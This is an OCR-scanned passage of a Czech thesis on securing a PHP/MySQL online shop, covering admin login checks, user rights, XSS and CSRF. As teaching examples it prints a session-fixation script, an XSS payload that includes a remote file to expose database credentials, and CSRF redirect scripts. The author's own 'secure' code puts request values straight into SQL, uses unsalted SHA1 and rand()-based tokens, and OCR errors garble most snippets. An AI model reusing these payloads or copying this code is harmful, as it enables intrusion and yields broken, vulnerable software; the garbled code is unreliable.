sessions pfi Uspésném prihlaseni uzivatele odpovida aktudini IP adrese zjisténé ze
superglobalni proménné s SERVER['REMOTE ADDR'];. Je ovsem potfeba pocitat s tim, Ze
vice unikatnich uzivateld pfichazejicich do systému ze stejné sité, mlze mit stejnou IP

adresu. Nicméné jako jeden z prvkl zabezpeceni mdZzeme tento postup pouzit.

ProC vlastné testovat IP adresu, kdyz by mohlo stacit otestovat session proménné login
a heslo, navic kdyz jsme zakazali predavani identifikatoru session v URL, a proto se za nas
Utocnik nemdze prihlasit podstréenim session id do adresy? V kapitole o sessions jsem

zminil, Ze Utocnik si mdze poradit i jinym zplsobem.
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S volanim
www.example.cz/admin/login.php?PHPSESSID=1d0404ff5f8e04068fe576df48c9247a
neuspéje a je presmérovan na chybovou stranku. Pokud ale nékde jinde na svém webu i

na svém pocitaci na localhostu vytvori jednoduchy skript s obsahem

<?
session_start();

?>

a zavola ho pomoci

127.0.0.1/utok.php?PHPSESSID=1d0404ff5f8e04068fe576df48c9247a, je mu vytvorena
session s timto identifikatorem. Ten se ulozi do paméti prohlizece. Pak staci ve stejném
okné browseru zadat www.example.cz/admin/login.php, a prohlize¢ s pozadavkem na
stranku odesle i autorizacni session id pomoci cookies, nikoli pomoci URL. A Gtocnik je
Uspésné pripojen k session souboru na serveru a bez problému prihlasen.

Pokud ovSsem skript kontrola.php obsahuje krom jiného i porovnani IP adresy ze session

s adresou Utocnika, znesnadnime mu praci a test opravnéného pristupu selze.

Jako dalsi testujeme, zda login i heslo v session se shoduji s Udaji v databazi. Jind moznost
je testovat pouze to, zda login a heslo v sessions vibec existuje, protoze existovat mohou
jen po Uspésném prihlaseni. Nicméné béhem pobytu uzivatele v administracnim systému
mohlo dojit k tomu, Ze ho spravce vymazal z databaze za Ucelem zamezeni jeho pfistupu
do rozhrani. Jiz prihlaSeného uZivatele by se toto nedotklo, protoze Udaje v sessions by mu

zlstaly a test na jejich existenci by vysel kladné.

Jelikoz je administracni nastroj branou do celého systému, nebudeme ponechavat nic
nahodé a login i heslo ze session zkusime pfi kazdé kontrole nalézt v databazi. Abychom

dotaz do databaze urychlili, pouZiji tento zapis:

mysqgl result (mysgl query ("SELECT COUNT (*) FROM admin WHERE
login='$ SESSION[login]' AND heslo='S$ SESSION[heslo]'"), 0);
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Misto SELECT *, pfipadné ID je vyhodné&jsi pouzit COUNT(*). Nez aby databazovy stroj
prochazel tabulku a nacetl z ni do paméti hodnotu ID jako by tomu bylo v prvnim pfipadé,
ziska pouze statisticky Udaj o poctu radkd, coz je rychlejsi.

Pokud jsme shodu v databazi nenasli, presmérujeme uzivatele na chybovou stranku
pomoci funkce header () ;. Za touto funkci jeSté pouziji ptfikaz exit ();. Pokud by byl
tento zapis vynechan, cela stranka by se i pres pouziti presmérovani odeslala. V prohlizedi

by se sice neukazala, ale Gtocnici by odeslani kompletni stranky mohli vyuzit.

V pripadé Uspésného ovéreni udajl musime dale zjistit, jestli ma uzivatel dostatecna prava
stranku prohlizet. V modulu nastaveni aplikace je mozné vsem modul@im v administracnim
systému prifadit stupen zabezpeceni z rozsahu 1 az 5, kde stupen 5 je nejvyssi. Soucasné
kazdy uzivatel ma stupen opravnéni v rozsahu 1 az 5, ktery se pii prihlaseni uklada do

session.

V databazi existuje tabulka modull, kde jsou uloZzeny moduly jako nastaveni, zaloha,
objednavky atd. Kazdy skriptovy soubor na webu patfici k néjakému modulu zacina jeho
nazvem, tedy napf. nastaveni-uzivatele-vypsat.php, objednavky-prijate-vypsat.php atd.

Pro kontrolu opravnéni pristupu k modulu tedy nejprve zjistim, k jaké strance chce uzivatel

pristoupit, pomoci tohoto skriptu:

$o_soubor = basename ($ SERVER['SCRIPT NAME']);

$o_soubor pole=explode ("-",So soubor) ;

Tim se do pole so soubor pole na nultou pozici uloZi nazev modulu ziskany z nazvu

volané stranky.
Pak uz jen staci v databazi vyhledat prisluSny modul podle jeho jména, zjistit stupen

zabezpeceni a porovnat se stupném opravnéni uzivatele. V pripadé malého opravnéni opét

provedeme presmérovani na chybovou stranku.

26



4.2. Nastaveni uzivatell a prav

U administracniho systému pro internetovy obchod se predpoklada, ze k nému bude
pristupovat vice uZivatell za Ucelem vykonavani rlznych operaci. Jeden pracovnik mlze
byt napriklad povéren vyfizovanim objednavek a jiny zase vkladanim a editaci zbozi.
Z bezpecnostnich dlvodl ale nemusi byt editorovi zboZi dovoleno manipulovat
s objednavkami a naopak. Proto potfebujeme do administracniho systému zavést spravu

uzivateld tohoto rozhrani, kde riznym uzivateldm pfifadime rlizna opravnéni.

4.2.1. Vlozeni nového uzivatele

Rozhrani pro viozeni nového uzivatele vidime na obrazku 4.2.1. Do formulare zadame jeho
login, heslo a vybereme stupen opravnéni z hodnot 1 az 5, kde 5 jsou nejvyssi prava.

Odeslani formulare s prislusné nadefinovanou akci spusti vykonani téchto ¢innosti:

Susr heslo=shal($ POST['usr heslo']);

$SQL = mysqgl query ("INSERT INTO admin VALUES
('"NULL',
'$ POST[usr_ login]',
'$usr heslo’,

'S POST[usr master]')");

if (mysgl errno() == 1062) {

message (3, "Uzivatel s timto jménem jiz existuje.", "", "");

Jak je patrné, nejprve je heslo odeslané metodou POST prevedeno na hash metodou
SHA1. Nasledné je do proménné ssor ulozena navratova hodnota funkce mysq1l query (),
ktera vklada data do tabulky.

V administracnim systému stejné jako v uZivatelské Casti internetového obchodu chci

zamezit tomu, aby mohlo byt vloZeno vice uZivatell se stejnym uzivatelskym jménem.
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Jednou z metod, jak toto zajistit, je rozdélit celou operaci na dvé Casti. V prvni fazi
testujeme SQL dotazem pomoci klauzule WHERE, zda v databazi jiz existuje uzivatel se
jménem, které jsme nyni odeslali ve formulafi. Pokud neexistuje, ve druhé fazi ho do
tabulky viozime. Pokud existuje, vypiSeme varovné hlaseni, aby bylo zfejmé, pro¢ nebylo

vloZeni provedeno. Toto feseni je chybné.

Zejména u vytizenych serverl se totiz mlze stat, ze v prlbéhu vykonavani jednoho
procesu je zpracovani preruseno a zacne se provadét proces jiny. Zvlasté k uzivatelské
Casti internetového obchodu mdze pristupovat vice navstévnikl soucasné a mlze se stat,
Ze mezi ovérenim existence uzivatele v databadzi a jeho naslednym vloZzenim jednim
uzivatelem, provede totéz uzivatel druhy. Pak by v databazi existovala dvé stejna

prihlasovaci jména.

To by se dalo vyresit napfiklad zamykanim tabulky. Pfed dotazem SELECT bychom tabulku
uzamkli a po vykonani prikazu INSERT ji opét odemkli. Kromé toho, Ze je toto feSeni
ponékud pracné, se mlze za urcitych okolnosti stat, ze uzivatel prerusi béh skriptu jesté

pred odemcenim tabulky a s ni uz nebude mozné pracovat.

Existuje vSak snadné a efektivni feSeni problému unikatnosti uZivatelského jména. Tabulka
admin Ma na sloupci login unikatni klic. Ten zajisti, aby v pfisluSném sloupci byly
uchovavany pouze unikatni hodnoty. Neni tedy mozné do tabulky vloZit stejny login, jaky
je v ni jiz obsaZen. Pfi takovém pokusu vrati funkce mysql query chybové hlaseni.

Pak uz staci jen pomoci podminky

if (mysgl errno() == 1062) {

message (3, "Uzivatel s timto jménem jiz existuje.", "", "");

otestovat, zda je chybové hlaseni oznaceno identifikatorem 1062, ktery znamena kolizi
unikatniho klice. Pokud tomu tak je, vypiSeme pomoci uzivatelsky definované funkce

zpravu na obrazovku.
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Spravny pribéh tohoto kroku se zjisti testem proménné ssor, ve které je navratova
hodnota SQL dotazu. Na zakladé testu mizeme opét vypsat hlaseni o zdafilé ¢i nezdarilé
operaci.

4.2.2. Prava modull

Jak jiz bylo zminéno vysSe, kazdému modulu v administracnim systému se da nastavit
stupen zabezpeceni, ktery je pfi pfistupu k modulu porovnavan se stupném opravnéni
uzivatelQ.

Tabulka modulll se vytvari automaticky pfi vstupu na stranku nastaveni-prava.php. Skript

jako prvni pouzije volani funkce mysql query ("INSERT IGNORE INTO

nastaveni moduly VALUES ('nastaveni', '1', '0')");

Diky volbé IGNORE bude modul ,,nastaveni* vlozen pouze tehdy, pokud jesté neexistuje.

Ostatni moduly jsou do databaze vkladany nasledovné. V jednom adresafi se ukladaji
obrazky, které slouzi jako odkazy v grafickém menu na levé strané. Tyto obrazky se
nazyvaji napf. objednavky.gif, zbozi.gif atd. Skript tedy prohledad adresar s obrazky a na
zakladé jejich nazvu vytvori v databazi nazev modulu. Jemu je pak mozné nastavovat
opravnéni atd. Navigacni menu se tim padem v administracnim systému vypisuje zcela
automaticky z databaze a automaticky je kazdé poloZce prifazena také jeho graficka
podoba pro graficky odkaz v menu a hypertextovy odkaz, ktery je nadefinovan v externim

souboru.

Toto feSeni, kromé jeho prFinosu v usnadnéni prace s pridavanim nového modulu do
administracniho systému, povazuiji také za bezpecné. Ackoli se moduly vytvareji na zakladé
obrazkd v adresafi, utocnik nemlze vloZzenim podvrZzeného obrazku do adresare zaloZit
novy modul z toho d@vodu, Ze k vytvareni souborli na serveru nema pristup. V opacném
pripadé by se nemusel obtéZovat s vkladanim modulli, ale rovnou modifikovat stavajici

soubory, Cist data apod.
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4.3. Vkladani a editace kategorii a podkategorii

Abychom mohli zboZi v internetovém obchodé nabizet prehledné usporadané, musime ho
Clenit do kategorii a podkategorii. V pocitacovém e-obchodu mohou byt kategorie
napriklad Monitory, Pamétové karty, Pevné disky atd. Podkategoriemi pak LCD, CRT,
SDRAM, DDR ¢i ATA, SATA atd.

Nejprve pomoci formulare obsahujiciho pouze jedno pole pro nazev kategorie viozime
kategorii do databaze do tabulky kategorie. Ta ma pouze dva sloupce a to ID int(10)
auto increment, @ kategorie varchar (50). ID je primarnim klicem, ktery slouzi pro

jednoznacnou identifikaci fadku.

Mame-li vloZzenou kategorii, da se k ni prifadit podkategorie, jak ukazuje obrazek 4.3.

Na jediné strance je mozné vlozit podkategorii novou i upravit stavajici, patfici k jedné
kategorii. Subkategorie se ukladaji do tabulky subkategorie, ktera se sklada ze ftfi
sloupcll. 1D int(10) auto increment, ktery slouzi jako primdrni kli¢, 1D kategorie
int (10), kam se uklada primarni kli¢ tabulky xategorie, abychom mohli pozdé&ji spravné
prifadit podkategorii ke kategorii a nakonec sloupec se samotnym ndzvem subkategorie

varchar (50).

Také nazvy kategorii se daji upravovat, pfipadné mazat. A zde je tfeba dat pozor na
integritu dat. Pokud maZeme celou kategorii, musime zajistit, aby se smazala také k ni
nalezici podkategorie. Toto je typicky priklad na pouziti triggerd, coz jsou procedury volané
v zavislosti na néjaké akci. Po smazani kategorie bychom tedy poutzili trigger pro zajisténi
smazani podkategorii. Bohuzel, triggery jsou v MySQL aZ od verze 5.0, kterd se prozatim
na mnoha hostinzich nevyskytuje. Proto pro odstrafiovani podkategorii pouziji vlastni

oSetreni.

smazat ($ GET['ID'],"kategorie",0);

if (Sdel stat==1): mysgl query("DELETE FROM subkategorie WHERE
ID kategorie='$ GET[ID]'"); endif;
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Nejprve je uzivatelsky definovanou funkci smazat (kterd se nepouZiva pouze na mazani
kategorii, ale jakychkoli dat z jakékoli tabulky) vyvolana udalost, jez smaze z tabulky
kategorie prislusny radek urceny primarnim klicem ID. Tato funkce vraci v pripadé
Uspeésného smazani potvrzeni v proménné $del stat. Pokud tedy v podmince zjistim, ze
smazani bylo provedeno Uspésné, odstranim také vSechny fadky tabulky subkategorie,

které patfi ke smazané kategorii.

4.4, Vkladani a editace zbozi

4.4.1. Zakladni nastaveni

Pokud jsme jesté v administracnim systému zbozi nevkladali, bude tfeba nejprve nastavit
nékolik zakladnich Cciselnikl. Kromé vlozeni vyrobcl (jednak abychom ho nemuseli ke
kazdému zbozi vypisovat rucné, ¢imz by ¢asem jisté vznikly rozdily v pouzitém zapisu, tak
také napriklad pro pozdéjsi lepsi praci s filtrovanim podle vyrobce) je tfeba nastavit stavy
zbozi (skladem, na cesté...), ale predevsim sazbu DPH. Bylo by chybné spoléhat se na to,
Ze se DPH v Case nezméni a vkladat ji do skriptd napevno. PFi pozdéjsi upravé DPH
bychom museli projit cely kod programu a kontrolovat, jestli je hodnota vSude nastavena

spravné, aby nedoslo k pozdeéjsim chybam ve vypoctu ceny.

4.4.2. Vlozeni a vypis zbozi

Po provedeni téchto zakladnich nastaveni je mozné vkladat zbozi. Rozhrani je zobrazeno
na obrazku 4.4.2.

Nejprve zvolime kategorii (seznam se vypisuje z tabulky kategorie), dale k ni pfifadime
podkategorii (seznam podkategorii se vypisuje na zakladé zvolené kategorie, tzn. neni zde
kompletni seznam vSech podkategorii), dale kdd zboZzi, cenu bez DPH (podporovana jsou
i desetinna cisla), pripadnou slevu v procentech, sazbu DPH, navolime vyrobce, stav zbozi,
zarucni dobu, popis a samoziejmosti je vioZzeni az 4 obrazkl zboZzi. Odeslani formulare

spusti nékolik udalosti.
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Kazdy soubor nalezici modulu ma v hlavicce zaclenén skript 2-head.php, ktery kromé
HTML definice stranky obsahuje nacteni uZivatelsky definovanych funkci z externiho
souboru, nacteni konfiguracnich Udajd a hlavné také pfi vypnutém nastaveni
magic_quotes_gpc vold funkce do addSlashes($ GET); do addSlashes ($ POST) ;
do_addSlashes ($ COOKIE); @ do addSlashes($ FILES);. Data do této uZivatelské
funkce jsou predavana odkazem, nikoli hodnotou, Cili addslashované hodnoty se objevi
opét v polich GET, POST atd. Navic funkce do addSlashes () probiha rekurzivng, ¢imz

oSetfuje i pole. Jak uz jsem zminil vyse, funkce je uzitena pro oSetreni koliznich znakd.

Osetrena data jsou vlozena do tabulky zbozi.

Sloupec cena i sleva jsou definovany jako pecimal (x,y). To je datovy typ, ktery se
vyborné hodi k uchovavani hodnot jakou je mzda, cena atd. Na rozdil od dalSiho
pouzivaného typu Float ma tento vyhodu, Ze u né&j nedochdzi k nepresnostem pfi
zaokrouhlovani. Nepresnosti u typu Float vznikaji zejména u vétSich castek a jsou tim
vétsi, ¢im vic pocetnich operaci se provadi. Pokud si chceme byt jisti spravnym ulozenim
ceny, je vhodné pouzit typ Decimal, ktery vnitfné uklada cisla jako retézec.

Data se tedy ulozi, podle navratového kédu SQL dotazu zjistime, Ze vSe probéhlo jak mélo

a prichazi na fadu ulozeni obrazkd zbozi na server.

Na zplsob ukladani obrazkd existuji rlizné nazory. Nékdo uklada obrazek na server pod
jeho skute¢nym ndzvem ¢i ho napriklad trochu modifikuje a nazev ulozi k pfislusSnému
zboZi do tabulky v databazi. Ja volim radé&ji zplsob pojmenovani obrazku jednotnym
stylem, podle kterého vzdy dokazu spoijit obrazek se zbozim, aniz bych musel nazev zvlast’
ukladat. Nazev obrazku se tedy sklada z ID zbozi, textové Casti (napf. aktualita, zbozi,
skuteCny nazev zboZi apod.), dale poradového Cisla (obrazk mdze byt ke zboZi vozeno
vice) a nakonec pripony. Pokud se ukladaji nejen zmensené obrazky, ale i jejich vétsi

detailni nahledy, pred pfiponou je jesté ,,_b".
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Vyhodu tohoto zplsobu vidim v tom, Ze nemusim tabulku zbozi zbyte¢né rozsifovat o dalsi
sloupce pro nazvy obrazkl. Kdyz je potreba ke zbozi vkladat vic obrazkd, staci ve forcyklu,
kterym se vypisuji inputy na vlozeni obrazku, upravit jediné Cislo urCujici pocet pribéhd
cyklu. PFi vypisu zbozi nemusim pristupovat do databaze za Ucelem zjiSténi vSech nazvi
zbozi, ale staéi znat ID fadku se zbozim, které se ve skriptech musi zjistit v kazdém

pripadé. Stejné tak pfi zméné obrazku neni potfeba ménit (daj v databazi.

Pro vlozeni obrazk{ volame ve skriptu uzivatelsky definovanou funkci create img ().

for ($i=1;%$1i<=4;S$i++) :
Sobrazek="obrazek ".S$i;
create img(Sobrazek, 130, 500, 'zbozi', $idcko, $i);

endfor;

Parametry funkce je nazev inputu, ze kterého ma byt obrazek nacten, Sirka miniatury
obrazku, Sitka detailu obrazku, textova Cast nazvu obrazku, ID zbozi, které je ihned po
vloZeni zboZzi do databaze zjiSténo funkci MysoL Tnsert 1d(); a poradové Cislo obrazku.
Z bezpecnostnich dlvodu funkce create img() nedovoluje uloZit jakykoli soubor, ale
kontroluje typ uploadovaného souboru. Tim zamezime Gtocnikdm nahravani podvrzenych

souborl na server. Podporovany jsou tedy jen grafické formaty JPEG a GIF.

Tim je zboZi i s obrazky uloZzeno. Zbozi se da samoziejmé editovat a upravovat a obrazky
mazat ¢i ménit. To je, ostatné stejné jako ve vSech ostatnich modulech, provadéno pres
stejny formulaF, ktery byl pouZit pfi vkladani zbozi. Pokud si totiz necham na strance zbozi-
vypsat.php zbozi z databaze zobrazit a nasledné kliknu na ikonu editace zbozi, je metodou
GET predano ID vyrobku. Skript pak poznda, Ze nebudeme zboZi vkladat, ale editovat,
nacte Udaje o zbozi z databaze, vsadi je do formulafe a zméni typ akce vykonané po
odeslani formulare. Vyhodou je fakt, ze k vkladani i editaci zbozi slouzi jediny formular
a pfi zméné nékterého z vkladacich poli stac¢i zménu uskutecnit jednou na jednom misté

a ne zvlast’ na strance pro vkladani a editaci.
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4.4.3. Cross Site Scripting

V nacitani Udajd z databaze a jejich vypisovani do okna prohlizete mize spocivat dalsi
bezpecnostni riziko. Je totiz potfeba si uvédomit, Ze data uloZzena v databazi po odeslani
formulafl pochazeji od uzivateld. A zvlasté v uZivatelskych strankach internetového
obchodu, naptiklad v diskusich, je tfeba takova data fadné oSetfovat, jinak davame

Utocnikdm do ruky mocnou zbrari.

Predstavme si, co by se stalo, kdyby se Gto¢nikovi do naseho skriptu podafilo vlozit tento
kod:

<SCRIPT language="JavaScript" type="text/javascript">document.write"<?

include ('http://www.example.cz/utok/skript.txt') ?>";</SCRIPT>

Obsah souboru skript.txt by byl nasleduijici:

<?
Sfile="opendb.php";
show source ($file);

?>

Pomoci JavaScriptu Utocnik do naseho vlastniho skriptu zahrnuje soubor z libovolného
umisténi v internetu. ProtoZe tento soubor ma priponu .txt a nikoli .php, neni jeho obsah
vykonan na serveru utocnika, ale viozen do naseho zdrojového kédu. V nasem skriptu se
tak ocitne prikaz na vypsani kompletniho zdrojového kddu stranky opendb.php, kde jsou

veskeré pristupové Udaje k databazi.

Toto je ovSem spiSe teoreticky priklad. Aby se vypis opendb.php objevil ve strance, musel
by byt JavaScript vioZzen do plvodniho zdrojového kodu. Kdyz se dostane do stranky
vypisem proménné nactené z databaze, zZadny soubor se do skriptu nezahrne. JavaScript
se sice na strance objevi, ale PHP stroj uz vratil data klientovi a dalSi includovani v PHP se

neprovadi.
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Nicméné pokud Utocnik misto funkce document.write pouzije tfeba alert () s né&jakym
textem, pokazdé pfi nacteni diskuse vyskoCi na navstévniky okénko s timto textem.
V pripadé, Ze by misto funkce alert() Utocnik pouzil napfiklad tento zapis:
window.location="www.example.cz/utocnik.php", stranka diskuze bude presmérovana na

web Utocnika a diskusni prispévky si uz nikdo neprecte.

Utoku, kdy do stranky vkladame vlastni kéd, se fikd Cross Site Scripting (XSS) a byla
0 ném fe¢ uz v kapitole Session a Session Stealing. Ucelem takového Utoku nemusi byt
totiz nezbytné jen poskozeni stranek, ale napfiklad pravé zcizeni session identifikatoru.
V kapitole o Session se toho docililo podstréenim ,obrazku" do stranky, ktery misto
zobrazeni grafiky precetl hlavicky stranky a zcizil identifikdtor. K tomu lze vyuzit i jiz

zminéné presmérovani uzivatele na Utocnikovu stranku.

Je tedy zfejmé, ze musime najit zplsob, jak vykonavani ciziho kodu ve strance zabranit.
Timto zplsobem je vyuziti PHP funkce htmlspecialchars(), kterda prevadi specialni
znaky do HTML entit. Na entity jsou prevedeny znaky jako &, jednoduché a dvoijité

uvozovky, a znak < a >.

Proto pfi kazdém vypisu uzivatelskych dat do stranky, at’ uz pochazeji pfimo z formulare
nebo  z databaze, pouzivam rekurzivni  uzivatelsky  definovanou  funkci
do_htmlspecialchar();, kam jsou data preddvana odkazem a oSetfuje vySe zminény

problém.

Néktefi programatori davaji prednost prevedeni znakd na entity jiz pred vkladanim do
databaze, aby se tomuto problému nemuseli vénovat pozdéji. Tak se ale miZe snadno
stat, Ze z retézce plvodné dlouhého 20 znakl vznikne po oSetieni fetézec dlouhy 30 znakd
a prekro¢i se maximalni délka vkladaného fretézce, ktery byl napf. definovan na

varchar (25).
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5. UZivatelské stranky

Pokud je administratnim systémem vloZeno zboZi, nic nebrani uZivateldm nakupovat.
V nasem internetovém obchodé umoznime vkladani zbozi do kosSiku jak registrovanym
uzivateldm, tak i neregistrovanym. Kosik vSak budou smét odeslat pouze pfihlaseni,
abychom je mohli identifikovat. Dale bude navstévnikdm k dispozici vypis vSech jejich
odeslanych objednavek, kde u kazdé mohou sledovat, v jakém stavu se pravé objednavka

nachazi.

Soucasti kazdé stranky v uzivatelské casti bude soubor 1-head.php, kde nejprve pomoci
funkci ini set () zakaZeme automatické doplfiovani session id do URL a také zakaZzeme
predavani identifikatoru relace jinak nez v cookie. Dale zdpisem session start ()
vytvofime uZivatelskou relaci. Nasleduje zahrnuti konfiguracnich soubor@ a souboru
s uzivatelsky definovanymi funkcemi. Nesmime zapomenout ani na test direktivy
magic_quotes_gpc a v pripadé potreby volani funkce pro addslashovani pro data z GET
i POST. To vse slouzi k posileni bezpecnosti na uzivatelskych strankach internetového

obchodu.

5.1. Vypis zbozi a vlozeni do kosiku

Vypis zbozi je tvoren vcelku jednoduchym skriptem, ktery nacitd data z databaze podle
zvolené kategorie a podkategorie. ProtoZe je dat u zboZzi vice, je mozné si nacitani Gdajd
do proménnych zjednodusit PHP funkci extract (), kterd z pole ziskaného dotazem na
databdazi automaticky vytvari proménné podle nazvu sloupce a pfifazuje jim hodnoty ve
sloupcich obsazené.

Z nactené ceny zbozi a slevy je pomoci uzivatelsky definovanych funkci vytvorena cena po
sleve. Kvili jednoté interpretace cen jsou veskeré ceny zbozi, objednavek atd. ziskavany
pomoci sady funkci. Jsou to funkce na vypocet slevy zbozi, DPH, funkce pro nastaveni
formatu meény vyuzivajici volani number format () a nakonec agregatni funkce ceny (),
kterd za pomoci predchozich funkci vraci kompletni prehled cen po slevé bez DPH, vcetné
DPH, samotné hodnoty DPH a také jejich hodnoty upravené na prislusny format mény.
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Tento postup vylucuje to, abychom napriklad v né&jaké strance chybné vypocetli hodnotu
nakupu napf. bez zapocteni slevy zbozi. Vypis zbozi ukazuje obrazek 5.1.

Pfi kazdém vstupu na stranku kosik.php je také automaticky spustén skript, ktery
odstranuje staré nakupni kosiky. Ty mohou v databazi zlstavat napriklad proto, ze si
uzivatel sv{j nakup rozmyslel a stranky opustil. Je tedy potieba staré fadky tabulky mazat,

aby zbytecné nenardstala a nezabirala misto.

Pro vloZeni zbozi do kosiku slouzi tlacitko nakupniho kosiku, umisténé vedle formularového
pole na vepsani poctu nakupovaného zbozi. Pocet zadavaného zbozi kontrolujeme pomoci
JavaScriptu. Ten neumozni do pole vepsat jiné hodnoty nez Ciselné. UZivatel ale mize mit

JavaScript vypnuty, a proto se provadi dalsi kontrola vkladaného mnoZzstvi na Grovni PHP.

Zda se opravdu jedna o Ciselny format mnozstvi, zjistime pomoci regularniho vyrazu
if (ereg ("~[1-9]{1}[0-9]{0,4}$",$ POST['pocet'])):

Pro test Cisla slouzi v PHP napfiklad i funkce is numeric (), ale tou mdze projit i hodnota

jako napf. hexadecimalni zapis OxFF.

Jediné, co ve formulafi pro vlozeni zbozi do kosSiku predavame, je mnozstvi a ID zbofZi.
Byla by velikd chyba predavat ve formulafi napfiklad cenu zboZi ¢ velikost slevy. Utocnik
by mohl tyto hodnoty podvrhnout a my bychom s nimi pak pracovali dal v dobré vire, ze
jsou spravné.

Proto si radéji pfi vkladani zbozi do kosiku nacteme cenu, slevu i hodnotu DPH z databaze.
Nasledné vypocteme cenu po slevé a spolu s ostatnimi Udaji uloZime hodnoty do databaze

do tabulky kosik.
Mezi Udaji vkladanymi do tabulky je také identifikator session a IP adresa nakupujiciho.

Tyto dva Udaje budou slouzit k jednoznacné identifikaci nakupujiciho, abychom mu pfi

vypisu obsahu koSiku vypsali pouze ty radky tabulky, které se tykaji skutecné pouze jeho.
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Ukladani samotné IP adresy by nebylo dostatecné ztoho dlvodu, Ze vice uzivateld
prichazejici ze stejné sité mlze mit spoleCnou IP adresu. Ukladani pouze session id sice
k identifikaci uzivatele mlze stacit, nicméné ulozeni i IP adresy je obranou v pripadé

zcizeni session identifikatoru.

Zde je vhodné pripomenout dalsi mozny typ utoku, které mize byt proveden za nevédomé

pomoci samotného uzivatele.

5.1.1. Cross-Site Request Forgery

Utok Cross-Site Request Forgery (CSRF) spociva v tom, Ze uZivatel provede néjakou akci,

ktera nasledné bez jeho védomi vykona ¢innost napadajici aplikaci.

Takové utoky jsou provadény za predpokladu, ze Utocnik zna strukturu aplikace. Napfiklad
vi, ze vymazani polozky z koSiku se provadi kliknutim na odkaz pro smazani, ktery
metodou GET preda ID poloZky a proménnou sakce=smazat. Coz neni vibec tézké zjistit.
Utocnik se bude chovat jako bé&Zny uZivatel, obhlédne funkci kosiku, vypisu objednévek
atd. a seznami se s fungovanim systému. Nicméné znat ID polozky v tabulce a védét, ze

smazani je vykonano pfi proménné sakce=smazat nestaci. SQL dotaz je postaven takto:

if ($ _GET['akce']=="smazat"):
mysgl query ("DELETE FROM kosik WHERE session='S$sessionID' AND
Ip=" $_SERVER [REMOTE ADDR]' AND ID=' $_GET [ID smazat]'");

endif;

Jak je vidét, ke smazani fadku je nutné, aby v ném uloZeny identifikator session odpovidal
tomu, ktery ma uzivatel v paméti prohlizeCe a IP adresa byla shodna s uzivatelovou. Proto
prichazi na fadu Utok CSRF, ktery c¢innost napadaijici aplikaci pfiméje vykonat samotného
opravnéného uzivatele.

Predstavme si, ze do diskuse v e-obchodé je vlozeno JavaScriptové presmérovani na

stranku www.example.cz/utok/akce.php nebo pouze ,,obrazek" v podobé:
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<img src=" www.example.cz/utok/akce.php“>. UZivatel na diskusni stranku vstoupi,

¢imz se vykona skript akce.php na utocnikové serveru. V ném je nasleduijici kéd:

<?
header ("Location: http://www.e-obchod.cz/
kosik.php?action=smazat&amp; ID smazat=471");

?>

Jednoduché, ale ucinné. Skript sméruje na stranku kosik.php, kde Zzada o smazani polozky
z kosiku. Protoze je skript vykonan pomoci pocitace a prohlizece fadného uZivatele, pouzije
se v SQL dotazu uzivatelova IP adresa i jeho session id. Kosik je smazan, aniz by to sam
uzivatel chtél.

Ani v pripadé, ze bychom dlsledné provadéli vSechny akce v e-obchodé pomoci metody
POST a ne GET, nezabranime riziku. Uto¢nik si snadno méZe napsat jiny skript, kde misto
Header () presmérovani pouzije javascriptem odeslany formuldf metodou POST a ke

smazani kosSiku dojte také.

Je pravda, jak jsem jiz dfive zminil, Ze pokud v diskusi veskery vystup na obrazovku
oSetfujeme pomoci htmlspecialchars(), k presmérovani uzivatele na Utocnikovu
stranku ani k nacteni podvrZzeného obrazku nedojde a Utok nemdZze byt proveden.

Nicméné je také pravda, ze uzZivatelé jsou rlzni a pokud utocnik misto pokust
o automatické spusténi skriptd vlozi do diskuse pouze prispévek typu ,Lepsi cenu najdete
zde: www.example.cz/akce.php", neni vylouceno, ze se najdou lidé, ktefi odkaz vlozi do
adresové fadky otevieného okna a odeSlou. Tim samoziejmé opét dojde ke smazani
kosiku.

5.1.2. Obrana proti Cross-Site Request Forgery

Obranou proti CSRF mize byt napfiklad generovani autorizacniho tokenu pro kazdého

uzivatele pfi jeho vstupu do obchodu:
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if (!$ SESSION['usr token']):
$ SESSION['usr token']=get token(6);

endif;

UZivatelsky definovana funkce get token (), jejiz parametr je délka vytvareného retézce

je nasleduijici:

function get token (Spocet) {
Stoken return="";

for ($i=1;Si<=$pocet;S$i++):
Scislo=rand(48,82);

if($cislo<=57): Stoken return.=chr($cislo);
else: Stoken return.=chr (Scislo-57+97);
endif;

endfor;

return $token return;

}

Funkce generuje n mistny nahodny fetézec slozeny z Cisel a znakl. Ten je ulozen do
session proménné. Pfi volani akci ve skriptech, které je treba oSetfit pred CSRF,
predavame proménnou stoken bud’ jako POST i GET. Pokud kontrolni skript zjisti, ze
v POST ¢ GET predavame token, provede se jeho porovnani s hodnotou ulozenou
v session. Pokud jsou stejné, je vse v poradku, pokud ne, je token z GET ¢i POST odebran.
Veskeré citlivé akce, jako je zobrazeni stranky s objednavkami uzivatele, vypis koSiku,
mazani koSiku atd., jsou provedeny pouze tehdy, pokud token v GET ¢i POST existuje.
Tedy i kdyby v Gto¢nikové skriptu byl token do GET doplInén:

<?
header ("Location: http://www.e-obchod.cz/
kosik.php?action=smazat&amp; ID smazat=471&amp;token=123456");

?>

pri porovnani s hodnotou v session se akce nevykona, protoZe token byl z GET pfi kontrole

odebran.
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Soucasné ani Utocniklv skript nemlze do proménné stoken Vv presmérovani doplnit
odpovidajici hodnotu tokenu ziskanou ze session, protoze aby se k ni mohl dostat, musel
by ve svém skriptu nejprve volat session start (). Tim se mu ale na jeho serveru
vytvori sice session soubor stejného nazvu jako je soubor na serveru e-obchodu, ale bude
prazdny. Cili bez session proménné token.

Hodnotu tokenu neni mozné ziskat ani z hlavicky referer, protoZze odkaz na utocnikovu
stranku neni oteviran odkazem z diskuse v obchodég, ale zadanim odkazu do adresového

fadku.

Pripadné by bylo mozné pro vétsi bezpecnost token generovat pfi kazdém spusténi
jakékoli stranky v obchodé, ale tim bychom omezili uZivatele v moznosti vratit se

v prohlizeci o stranku zpét pomoci tlacitka zpét v zahlavi browseru.

5.2. Prihlaseni a odhlaseni uzivatele

5.2.1. Prihlaseni uzivatele

Pro odeslani kosiku a dokonceni objednavky je tfeba prihlaseni uzivatele. Proto, pokud
uzivatel neni jesté prihlasen, upozornime ho v nakupnim kosSiku na potrebu se pfrihlasit,
pripadné registrovat jako novy uZzivatel. Rozhrani pro pfihlaseni uZivatele znazorfuje
obrazek 5.2.1.

Povinnymi Udaji jsou uZivatelské jméno, heslo, heslo pro ovéreni, jméno, pfijmeni, email,
telefon, ulice, mésto, PSC a stat. Zadani viech téchto Udajt je kontrolovano JavaScriptem.
